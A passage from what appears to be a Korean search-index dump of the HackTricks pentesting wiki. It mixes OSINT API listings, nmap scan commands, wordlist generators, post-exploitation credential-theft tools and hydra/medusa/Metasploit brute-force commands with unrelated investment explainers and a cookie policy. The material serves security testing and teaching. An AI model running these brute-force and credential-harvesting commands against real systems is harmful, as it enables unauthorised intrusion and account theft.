Crunch","id":"1048","title":"Crunch"},"10480":{"body":"Linux Memory Extractor (LiME)를 사용하여 RAM 정보를 추출합니다. 이는 adb를 통해 로드해야 하는 커널 확장입니다. tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Android Forensics » 메모리","id":"10480","title":"메모리"},"10481":{"body":"Reading time: 4 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Online Platforms with API » API가 있는 온라인 플랫폼","id":"10481","title":"API가 있는 온라인 플랫폼"},"10482":{"body":"IP가 의심스러운/악의적인 활동과 관련이 있는지 물어볼 수 있습니다. 완전히 무료입니다.","breadcrumbs":"Online Platforms with API » ProjectHoneypot","id":"10482","title":"ProjectHoneypot"},"10483":{"body":"IP 주소가 계정을 등록하는 봇과 관련이 있는지 확인합니다. 사용자 이름과 이메일도 확인할 수 있습니다. 처음에는 무료입니다.","breadcrumbs":"Online Platforms with API » BotScout","id":"10483","title":"BotScout"},"10484":{"body":"이메일을 찾고 검증합니다. 일부 무료 API 요청이 있으며, 더 많은 요청은 유료입니다. 상업적?","breadcrumbs":"Online Platforms with API » Hunter","id":"10484","title":"Hunter"},"10485":{"body":"IP 및 도메인과 관련된 악의적인 활동을 찾습니다. 무료입니다.","breadcrumbs":"Online Platforms with API » AlientVault","id":"10485","title":"AlientVault"},"10486":{"body":"이메일(다른 플랫폼의 프로필), 도메인(기본 회사 정보, 이메일 및 근무하는 사람들) 및 회사(이메일에서 회사 정보 가져오기)와 관련된 개인 데이터를 찾습니다. 모든 가능성에 접근하려면 비용을 지불해야 합니다. 상업적?","breadcrumbs":"Online Platforms with API » Clearbit","id":"10486","title":"Clearbit"},"10487":{"body":"웹사이트에서 사용되는 기술. 비쌉니다... 상업적?","breadcrumbs":"Online Platforms with API » BuiltWith","id":"10487","title":"BuiltWith"},"10488":{"body":"호스트(도메인 또는 IP)가 의심스러운/악의적인 활동과 관련이 있는지 확인합니다. 일부 무료 API 접근이 가능합니다. 상업적?","breadcrumbs":"Online Platforms with API » Fraudguard","id":"10488","title":"Fraudguard"},"10489":{"body":"호스트(도메인 또는 IP)가 의심스러운/악의적인 활동과 관련이 있는지 확인합니다. 일부 무료 API 접근이 가능합니다.","breadcrumbs":"Online Platforms with API » FortiGuard","id":"10489","title":"FortiGuard"},"1049":{"body":"bash # Cewl gets words from the victims page\\ncewl example.com -m 5 -w words.txt # Tok (https://github.com/tomnomnom/hacks/tree/master/tok) gets words from a list of URLs\\ncat /path/to/urls.txt | tok # https://github.com/m4ll0k/BBTz/blob/master/getjswords.py gets words from a list of JS URLs\\ncat /path/to/js-urls.txt | python3 getjswords.py","breadcrumbs":"Brute Force - CheatSheet » 웹사이트 기반 단어 목록","id":"1049","title":"웹사이트 기반 단어 목록"},"10490":{"body":"호스트가 스팸 활동과 관련이 있는지 나타냅니다. 일부 무료 API 접근이 가능합니다.","breadcrumbs":"Online Platforms with API » SpamCop","id":"10490","title":"SpamCop"},"10491":{"body":"의견 및 기타 메트릭스를 기반으로 도메인이 의심스러운/악의적인 정보와 관련이 있는지 확인합니다.","breadcrumbs":"Online Platforms with API » mywot","id":"10491","title":"mywot"},"10492":{"body":"IP 주소에서 기본 정보를 얻습니다. 월 최대 100K까지 테스트할 수 있습니다.","breadcrumbs":"Online Platforms with API » ipinfo","id":"10492","title":"ipinfo"},"10493":{"body":"이 플랫폼은 IP 내의 도메인 또는 도메인 서버 내의 도메인, 이메일로 소유된 도메인(관련 도메인 찾기), 도메인의 IP 기록(CloudFlare 뒤의 호스트 찾기), 모든 도메인이 사용하는 네임서버에 대한 정보를 제공합니다.... 일부 무료 접근이 가능합니다.","breadcrumbs":"Online Platforms with API » securitytrails","id":"10493","title":"securitytrails"},"10494":{"body":"이메일, 도메인 또는 회사 이름으로 검색하고 관련된 \\"개인\\" 정보를 검색할 수 있습니다. 이메일 검증도 가능합니다. 일부 무료 접근이 있습니다.","breadcrumbs":"Online Platforms with API » fullcontact","id":"10494","title":"fullcontact"},"10495":{"body":"도메인 및 IP에 대한 많은 정보를 제공합니다. 무료/커뮤니티 버전에서도 가능합니다.","breadcrumbs":"Online Platforms with API » RiskIQ","id":"10495","title":"RiskIQ"},"10496":{"body":"도메인, IP 및 이메일을 검색하고 덤프에서 정보를 얻습니다. 일부 무료 접근이 가능합니다.","breadcrumbs":"Online Platforms with API » _IntelligenceX","id":"10496","title":"_IntelligenceX"},"10497":{"body":"IP로 검색하고 의심스러운 활동과 관련된 정보를 수집합니다. 일부 무료 접근이 가능합니다.","breadcrumbs":"Online Platforms with API » IBM X-Force Exchange","id":"10497","title":"IBM X-Force Exchange"},"10498":{"body":"IP 또는 IP 범위로 검색하고 인터넷을 스캔하는 IP에 대한 정보를 얻습니다. 15일 무료 접근이 가능합니다.","breadcrumbs":"Online Platforms with API » Greynoise","id":"10498","title":"Greynoise"},"10499":{"body":"IP 주소의 스캔 정보를 얻습니다. 일부 무료 API 접근이 가능합니다.","breadcrumbs":"Online Platforms with API » Shodan","id":"10499","title":"Shodan"},"105":{"body":"열린 포트: SYN --> SYN/ACK --> RST 닫힌 포트: SYN --> RST/ACK 필터된 포트: SYN --> [NO RESPONSE] 필터된 포트: SYN --> ICMP message bash # Nmap fast scan for the most 1000tcp ports used\\nnmap -sV -sC -O -T4 -n -Pn -oA fastscan \\n# Nmap fast scan for all the ports\\nnmap -sV -sC -O -T4 -n -Pn -p- -oA fullfastscan \\n# Nmap fast scan for all the ports slower to avoid failures due to -T4\\nnmap -sV -sC -O -p- -n -Pn -oA fullscan #Bettercap Scan\\nsyn.scan 192.168.1.0/24 1 10000 #Ports 1-10000","breadcrumbs":"Pentesting Network » TCP","id":"105","title":"TCP"},"1050":{"body":"피해자에 대한 지식(이름, 날짜 등)을 바탕으로 비밀번호를 생성합니다. python3 cupp.py -h","breadcrumbs":"Brute Force - CheatSheet » CUPP","id":"1050","title":"CUPP"},"10500":{"body":"Shodan과 매우 유사합니다.","breadcrumbs":"Online Platforms with API » Censys","id":"10500","title":"Censys"},"10501":{"body":"키워드로 검색하여 열린 S3 버킷을 찾습니다.","breadcrumbs":"Online Platforms with API » buckets.grayhatwarfare.com","id":"10501","title":"buckets.grayhatwarfare.com"},"10502":{"body":"이메일 및 도메인의 유출된 자격 증명을 찾습니다. 상업적?","breadcrumbs":"Online Platforms with API » Dehashed","id":"10502","title":"Dehashed"},"10503":{"body":"이메일이 나타난 pastebin을 검색합니다. 상업적?","breadcrumbs":"Online Platforms with API » psbdmp","id":"10503","title":"psbdmp"},"10504":{"body":"메일의 평판을 얻습니다. 상업적?","breadcrumbs":"Online Platforms with API » emailrep.io","id":"10504","title":"emailrep.io"},"10505":{"body":"유출된 이메일에서 비밀번호를 얻습니다. 상업적?","breadcrumbs":"Online Platforms with API » ghostproject","id":"10505","title":"ghostproject"},"10506":{"body":"IP에서 흥미로운 정보를 얻습니다.","breadcrumbs":"Online Platforms with API » Binaryedge","id":"10506","title":"Binaryedge"},"10507":{"body":"도메인 및 이메일로 검색하고 pwned 여부와 비밀번호를 확인합니다. 상업적?","breadcrumbs":"Online Platforms with API » haveibeenpwned","id":"10507","title":"haveibeenpwned"},"10508":{"body":"IP 지리 위치, 데이터 센터, ASN 및 VPN 정보를 감지합니다. 월 30K 쿼리를 무료로 제공합니다.","breadcrumbs":"Online Platforms with API » IP2Location.io","id":"10508","title":"IP2Location.io"},"10509":{"body":"IP 지리 위치 및 OISNT와 함께 타겟 데이터 포인트. 비상업적입니다. https://dnsdumpster.com/ (상업적 도구인가요?) https://www.netcraft.com/ (상업적 도구인가요?) https://www.nmmapper.com/sys/tools/subdomainfinder/ (상업적 도구인가요?) tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Online Platforms with API » IPQuery.io","id":"10509","title":"IPQuery.io"},"1051":{"body":"단어 목록 생성기 도구로, 단어 집합을 제공할 수 있으며, 주어진 단어로부터 여러 변형을 만들 수 있는 가능성을 제공합니다. 특정 대상을 고려하여 사용할 수 있는 독특하고 이상적인 단어 목록을 생성합니다. bash python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst __ _______ _____ _______ ______ _____\\n\\\\ \\\\ / /_ _|/ ____|__ __| ____| __ \\\\\\n\\\\ \\\\ /\\\\ / / | | | (___ | | | |__ | |__) |\\n\\\\ \\\\/ \\\\/ / | | \\\\___ \\\\ | | | __| | _ /\\n\\\\ /\\\\ / _| |_ ____) | | | | |____| | \\\\ \\\\\\n\\\\/ \\\\/ |_____|_____/ |_| |______|_| \\\\_\\\\ Version 1.0.3 Cycurity Generating wordlist...\\n[########################################] 100%\\nGenerated 67885 lines. Finished in 0.920s.","breadcrumbs":"Brute Force - CheatSheet » Wister","id":"1051","title":"Wister"},"10510":{"body":"Reading time: 2 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요. 어떤 시점에 세션에 따라 민감한 정보를 제공하는 웹 페이지를 발견하면 : 쿠키를 반영하거나, CC 세부정보 또는 기타 민감한 정보를 출력하는 경우, 이를 도용하려고 시도할 수 있습니다. 여기에서 이를 달성하기 위해 시도할 수 있는 주요 방법을 제시합니다: CORS 우회 : CORS 헤더를 우회할 수 있다면 악성 페이지에 대한 Ajax 요청을 수행하여 정보를 도용할 수 있습니다. XSS : 페이지에서 XSS 취약점을 발견하면 이를 악용하여 정보를 도용할 수 있습니다. 댕글링 마크업 : XSS 태그를 주입할 수 없다면 여전히 다른 일반 HTML 태그를 사용하여 정보를 도용할 수 있습니다. 클릭재킹 : 이 공격에 대한 보호가 없다면 사용자를 속여 민감한 데이터를 보내도록 할 수 있습니다 (예시 여기 ). tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Stealing Sensitive Information Disclosure from a Web » 웹에서 민감한 정보 유출 도용","id":"10510","title":"웹에서 민감한 정보 유출 도용"},"10511":{"body":"tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요. PEASS-ng : 이 스크립트는 PE 벡터를 찾는 것 외에도 파일 시스템 내에서 민감한 정보를 찾습니다. LaZagne : LaZagne 프로젝트 는 로컬 컴퓨터에 저장된 많은 비밀번호를 검색하는 데 사용되는 오픈 소스 애플리케이션입니다. 각 소프트웨어는 서로 다른 기술(평문, API, 사용자 정의 알고리즘, 데이터베이스 등)을 사용하여 비밀번호를 저장합니다. 이 도구는 가장 일반적으로 사용되는 소프트웨어의 비밀번호를 찾기 위해 개발되었습니다.","breadcrumbs":"Post Exploitation » 로컬 l00t","id":"10511","title":"로컬 l00t"},"10512":{"body":"Conf-Thief : 이 모듈은 액세스 토큰을 사용하여 Confluence의 API에 연결하고, PDF로 내보내며, 대상이 접근할 수 있는 Confluence 문서를 다운로드합니다. GD-Thief : 공격자가 접근할 수 있는 대상의 Google Drive에서 파일을 추출하기 위한 Red Team 도구로, Google Drive API를 통해 수행됩니다. 여기에는 모든 공유 파일, 공유 드라이브의 모든 파일, 대상이 접근할 수 있는 도메인 드라이브의 모든 파일이 포함됩니다. GDir-Thief : Google의 People API를 통해 접근할 수 있는 대상 조직의 Google People Directory를 추출하기 위한 Red Team 도구입니다. SlackPirate : 이 도구는 액세스 토큰을 사용하여 Slack 작업 공간에서 \'흥미로운\' 정보를 추출하기 위해 네이티브 Slack API를 사용하는 Python으로 개발되었습니다. Slackhound : Slackhound는 Red Team과 Blue Team이 Slack 작업 공간/조직을 신속하게 정찰할 수 있도록 하는 명령줄 도구입니다. Slackhound는 조직의 사용자, 파일, 메시지 등을 신속하게 검색할 수 있도록 하며, 대형 객체는 오프라인 검토를 위해 CSV로 기록됩니다. tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Post Exploitation » 외부 서비스","id":"10512","title":"외부 서비스"},"10513":{"body":"Reading time: 4 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Investment Terms » Investment Terms","id":"10513","title":"Investment Terms"},"10514":{"body":"가장 기본적인 거래 방법입니다. 구매하거나 판매하고자 하는 자산의 양과 가격을 지정 할 수 있으며, 해당 가격에 도달하면 거래가 이루어집니다. 보통 현재 시장 가격 을 사용하여 가능한 한 빠르게 거래를 수행할 수 있습니다. Stop Loss - Limit : 자산의 구매 또는 판매 가격과 양을 지정하면서, 도달할 경우 손실을 방지하기 위해 더 낮은 가격을 지정할 수 있습니다.","breadcrumbs":"Investment Terms » Spot","id":"10514","title":"Spot"},"10515":{"body":"선물은 두 당사자가 미래에 고정된 가격으로 무언가를 인수하기로 합의하는 계약 입니다. 예를 들어, 6개월 후 70,000달러에 1 비트코인을 판매하는 것입니다. 6개월 후 비트코인 가치가 80,000달러가 되면 판매자는 손실을 보고 구매자는 이익을 얻습니다. 6개월 후 비트코인 가치가 60,000달러가 되면 반대의 상황이 발생합니다. 그러나 이는 제품을 생산하고 비용을 지불할 수 있는 가격에 판매할 수 있는 보장을 필요로 하는 비즈니스에 흥미롭습니다. 또는 미래에 더 높은 가격으로 고정된 가격을 보장하고자 하는 비즈니스에도 해당됩니다. 거래소에서는 일반적으로 이익을 얻기 위해 사용됩니다. \\"Long position\\"은 누군가 가격이 상승할 것이라고 베팅하고 있다는 것을 의미합니다. \\"Short position\\"은 누군가 가격이 하락할 것이라고 베팅하고 있다는 것을 의미합니다.","breadcrumbs":"Investment Terms » Futures","id":"10515","title":"Futures"},"10516":{"body":"펀드 매니저가 일부 주식이 하락할 것이라고 두려워하면 비트코인이나 S&P 500 선물 계약과 같은 자산에 대해 숏 포지션을 취할 수 있습니다. 이는 자산을 보유하거나 구매하고, 미래에 더 높은 가격으로 판매하는 계약을 만드는 것과 유사합니다. 가격이 하락할 경우 펀드 매니저는 더 높은 가격에 자산을 판매하여 이익을 얻습니다. 자산의 가격이 상승하면 매니저는 그 이익을 얻지 못하지만 여전히 자산을 보유하게 됩니다.","breadcrumbs":"Investment Terms » Hedging With Futures","id":"10516","title":"Hedging With Futures"},"10517":{"body":"이들은 무기한 지속되는 \\"선물\\"입니다 (종료 계약 날짜가 없습니다). 암호화폐 거래소에서 가격에 따라 선물에 들어가고 나오는 것이 매우 일반적입니다. 이 경우 이익과 손실이 실시간으로 발생할 수 있으며, 가격이 1% 상승하면 1%의 이익을 얻고, 가격이 1% 하락하면 손실을 보게 됩니다.","breadcrumbs":"Investment Terms » Perpetual Futures","id":"10517","title":"Perpetual Futures"},"10518":{"body":"레버리지 는 적은 금액으로 시장에서 더 큰 포지션을 제어할 수 있게 해줍니다. 기본적으로 실제로 보유하고 있는 돈만 위험에 빠뜨리면서 \\"더 많은 돈을 베팅\\"할 수 있게 해줍니다. 예를 들어, 100달러로 BTC/USDT에서 50배 레버리지로 선물 포지션을 열면, 가격이 1% 상승할 경우 초기 투자금의 50%인 50달러를 이익으로 얻게 됩니다. 따라서 150달러를 가지게 됩니다. 그러나 가격이 1% 하락하면 자금의 50%를 잃게 됩니다 (이 경우 59달러). 가격이 2% 하락하면 모든 베팅을 잃게 됩니다 (2x50 = 100%). 따라서 레버리지는 베팅하는 금액을 제어하면서 이익과 손실을 증가시킬 수 있게 해줍니다.","breadcrumbs":"Investment Terms » Futures with Leverage","id":"10518","title":"Futures with Leverage"},"10519":{"body":"선물과 옵션의 주요 차이점은 계약이 구매자에게 선택적이라는 것입니다: 그는 이를 실행할지 여부를 결정할 수 있습니다 (보통 이익이 있을 경우에만 실행합니다). 판매자는 구매자가 옵션을 사용하고자 할 경우 판매해야 합니다. 그러나 구매자는 옵션을 열기 위해 판매자에게 수수료를 지불해야 합니다 (따라서 더 많은 위험을 감수하는 판매자는 일부 돈을 벌기 시작합니다).","breadcrumbs":"Investment Terms » Differences Futures & Options","id":"10519","title":"Differences Futures & Options"},"1052":{"body":"","breadcrumbs":"Brute Force - CheatSheet » pydictor","id":"1052","title":"pydictor"},"10520":{"body":"Futures: 선물 계약을 구매하거나 판매할 때, 특정 날짜에 특정 가격으로 자산을 구매하거나 판매하기 위한 구속력 있는 계약 에 들어가는 것입니다. 구매자와 판매자 모두 만기 시 계약을 이행할 의무 가 있습니다 (계약이 그 전에 종료되지 않는 한). Options: 옵션의 경우, 특정 가격으로 자산을 구매(콜 옵션의 경우)하거나 판매(풋 옵션의 경우)할 권리, 그러나 의무는 없습니다 . 구매자 는 실행할 선택권이 있으며, 판매자 는 구매자가 옵션을 행사하기로 결정할 경우 거래를 이행해야 할 의무가 있습니다.","breadcrumbs":"Investment Terms » 1. Obligation vs. Right:","id":"10520","title":"1. Obligation vs. Right:"},"10521":{"body":"Futures: 구매자와 판매자 모두 무제한 위험 을 감수합니다. 위험은 만기 시 합의된 가격과 시장 가격의 차이입니다. Options: 구매자의 위험은 옵션을 구매하기 위해 지불한 프리미엄 으로 제한됩니다. 시장이 옵션 보유자에게 유리하게 움직이지 않으면, 옵션을 만료시킬 수 있습니다. 그러나 옵션의 판매자 (작성자)는 시장이 그들에게 불리하게 크게 움직일 경우 무제한 위험을 감수합니다.","breadcrumbs":"Investment Terms » 2. Risk:","id":"10521","title":"2. Risk:"},"10522":{"body":"Futures: 포지션을 유지하기 위해 필요한 마진 외에 선물 계약에 대한 선불 비용이 없습니다. 구매자와 판매자 모두 거래를 완료할 의무가 있습니다. Options: 구매자는 옵션을 행사할 권리를 얻기 위해 옵션 프리미엄 을 선불로 지불해야 합니다. 이 프리미엄은 본질적으로 옵션의 비용입니다.","breadcrumbs":"Investment Terms » 3. Cost:","id":"10522","title":"3. Cost:"},"10523":{"body":"Futures: 이익 또는 손실은 만기 시 시장 가격과 계약에서 합의된 가격의 차이에 기반합니다. Options: 구매자는 시장이 프리미엄을 초과하여 유리하게 움직일 때 이익을 얻습니다. 판매자는 옵션이 행사되지 않을 경우 프리미엄을 유지하여 이익을 얻습니다. tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Investment Terms » 4. Profit Potential:","id":"10523","title":"4. Profit Potential:"},"10524":{"body":"Reading time: 1 minute Last updated: 02/04/2023","breadcrumbs":"Cookies Policy » Cookies Policy","id":"10524","title":"Cookies Policy"},"10525":{"body":"이 쿠키 정책은 HackTricks 팀(\\"HackTricks\\", \\"우리\\", \\"저희\\" 또는 \\"우리의\\")이 소유하고 운영하는 다음 웹사이트에 적용됩니다: hacktricks.wiki www.hacktricks.wiki book.hacktricks.wiki cloud.hacktricks.wiki 이 웹사이트 중 하나를 사용함으로써, 귀하는 이 쿠키 정책에 따라 쿠키 사용에 동의하는 것입니다. 동의하지 않으시면, 브라우저 설정에서 쿠키를 비활성화하거나 저희 웹사이트 사용을 자제해 주시기 바랍니다.","breadcrumbs":"Cookies Policy » Introduction","id":"10525","title":"Introduction"},"10526":{"body":"쿠키는 웹사이트를 방문할 때 귀하의 컴퓨터나 모바일 장치에 저장되는 작은 텍스트 파일입니다. 이들은 웹사이트가 작동하고, 기능을 개선하며, 보다 개인화된 사용자 경험을 제공하기 위해 널리 사용됩니다.","breadcrumbs":"Cookies Policy » What are cookies?","id":"10526","title":"What are cookies?"},"10527":{"body":"우리는 다음 목적을 위해 웹사이트에서 쿠키를 사용합니다: 필수 쿠키: 이 쿠키는 사용자 인증을 가능하게 하고, 보안을 유지하며, 귀하의 선호 사항을 기억하는 등 웹사이트의 기본 기능에 필요합니다. 성능 쿠키: 이 쿠키는 방문자가 웹사이트와 상호작용하는 방식을 이해하는 데 도움을 주며, 정보를 익명으로 수집하고 보고합니다. 이를 통해 웹사이트 성능과 사용자 경험을 개선할 수 있습니다. 기능성 쿠키: 이 쿠키는 웹사이트가 귀하가 선택한 언어 또는 지역과 같은 선택 사항을 기억하게 하여 보다 개인화된 경험을 제공합니다. 타겟팅/광고 쿠키: 이 쿠키는 귀하의 관심사, 탐색 기록 및 웹사이트와의 상호작용에 따라 관련 광고 및 마케팅 커뮤니케이션을 제공하는 데 사용됩니다. 또한, book.hacktricks.wiki 및 cloud.hacktricks.wiki 페이지는 Gitbook에 호스팅됩니다. Gitbook의 쿠키에 대한 자세한 정보는 https://gitbook-1652864889.teamtailor.com/cookie-policy 에서 확인할 수 있습니다.","breadcrumbs":"Cookies Policy » How we use cookies","id":"10527","title":"How we use cookies"},"10528":{"body":"자체 쿠키 외에도, 웹사이트 사용 통계 보고, 광고 제공 및 소셜 미디어 공유 버튼 활성화를 위해 제3자 쿠키를 사용할 수 있습니다. 제3자 쿠키의 사용은 해당 개인 정보 보호 정책에 따릅니다. Managing cookies 대부분의 웹 브라우저는 설정을 통해 쿠키를 관리할 수 있습니다. 귀하는 장치에서 쿠키의 사용을 차단, 삭제 또는 제한할 수 있습니다. 그러나 쿠키를 비활성화하면 웹사이트의 기능과 성능에 영향을 미칠 수 있습니다. Changes to this Cookies Policy 우리는 관행이나 관련 법률의 변화를 반영하기 위해 이 쿠키 정책을 수시로 업데이트할 수 있습니다. 최신 쿠키 관행에 대한 정보를 확인하기 위해 이 페이지를 주기적으로 검토하시기 바랍니다.","breadcrumbs":"Cookies Policy » Third-party cookies","id":"10528","title":"Third-party cookies"},"10529":{"body":"이 쿠키 정책에 대한 질문이나 우려 사항이 있으시면, support@hacktricks.xyz 로 문의해 주시기 바랍니다.","breadcrumbs":"Cookies Policy » Contact us","id":"10529","title":"Contact us"},"1053":{"body":"https://github.com/danielmiessler/SecLists https://github.com/Dormidera/WordList-Compendium https://github.com/kaonashi-passwords/Kaonashi https://github.com/google/fuzzing/tree/master/dictionaries https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm https://weakpass.com/wordlist/ https://wordlists.assetnote.io/ https://github.com/fssecur3/fuzzlists https://hashkiller.io/listmanager https://github.com/Karanxa/Bug-Bounty-Wordlists","breadcrumbs":"Brute Force - CheatSheet » Wordlists","id":"1053","title":"Wordlists"},"1054":{"body":"서비스 이름에 따라 알파벳 순으로 정렬되었습니다.","breadcrumbs":"Brute Force - CheatSheet » Services","id":"1054","title":"Services"},"1055":{"body":"bash nmap -p 548 --script afp-brute \\nmsf> use auxiliary/scanner/afp/afp_login\\nmsf> set BLANK_PASSWORDS true\\nmsf> set USER_AS_PASS true\\nmsf> set PASS_FILE \\nmsf> set USER_FILE \\nmsf> run","breadcrumbs":"Brute Force - CheatSheet » AFP","id":"1055","title":"AFP"},"1056":{"body":"bash nmap --script ajp-brute -p 8009 ","breadcrumbs":"Brute Force - CheatSheet » AJP","id":"1056","title":"AJP"},"1057":{"body":"bash legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl]","breadcrumbs":"Brute Force - CheatSheet » AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM 및 Solace)","id":"1057","title":"AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM 및 Solace)"},"1058":{"body":"bash nmap --script cassandra-brute -p 9160 \\n# legba ScyllaDB / Apache Casandra\\nlegba scylla --username cassandra --password wordlists/passwords.txt --target localhost:9042","breadcrumbs":"Brute Force - CheatSheet » 카산드라","id":"1058","title":"카산드라"},"1059":{"body":"bash msf> use auxiliary/scanner/couchdb/couchdb_login\\nhydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /","breadcrumbs":"Brute Force - CheatSheet » CouchDB","id":"1059","title":"CouchDB"},"106":{"body":"UDP 포트를 스캔하는 방법은 두 가지가 있다: UDP packet 를 보내고 포트가 closed 일 경우 응답으로 _ ICMP unreachable _를 확인한다 (몇몇 경우 ICMP는 filtered 될 수 있어 포트가 closed인지 open인지에 대한 정보를 받지 못한다). formatted datagrams 를 보내 특정 service (예: DNS, DHCP, TFTP 등, _nmap-payloads_에 나열된 것들)로부터 응답을 유도한다. response 를 받으면 해당 포트는 open 이다. Nmap 은 \\"-sV\\"를 사용해 두 가지 방법을 혼합한다(UDP 스캔은 매우 느리다). 하지만 UDP 스캔은 TCP 스캔보다 느리다: bash # Check if any of the most common udp services is running\\nudp-proto-scanner.pl \\n# Nmap fast check if any of the 100 most common UDP services is running\\nnmap -sU -sV --version-intensity 0 -n -F -T4 \\n# Nmap check if any of the 100 most common UDP services is running and launch defaults scripts\\nnmap -sU -sV -sC -n -F -T4 \\n# Nmap \\"fast\\" top 1000 UDP ports\\nnmap -sU -sV --version-intensity 0 -n -T4 \\n# You could use nmap to test all the UDP ports, but that will take a lot of time","breadcrumbs":"Pentesting Network » UDP","id":"106","title":"UDP"},"1060":{"body":"hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/","breadcrumbs":"Brute Force - CheatSheet » 도커 레지스트리","id":"1060","title":"도커 레지스트리"},"1061":{"body":"hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /","breadcrumbs":"Brute Force - CheatSheet » Elasticsearch","id":"1061","title":"Elasticsearch"},"1062":{"body":"bash hydra -l root -P passwords.txt [-t 32] ftp\\nncrack -p 21 --user root -P passwords.txt [-T 5]\\nmedusa -u root -P 500-worst-passwords.txt -h -M ftp\\nlegba ftp --username admin --password wordlists/passwords.txt --target localhost:21","breadcrumbs":"Brute Force - CheatSheet » FTP","id":"1062","title":"FTP"},"1063":{"body":"WFuzz","breadcrumbs":"Brute Force - CheatSheet » HTTP Generic Brute","id":"1063","title":"HTTP Generic Brute"},"1064":{"body":"bash hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/\\n# Use https-get mode for https\\nmedusa -h -u -P -M http -m DIR:/path/to/auth -T 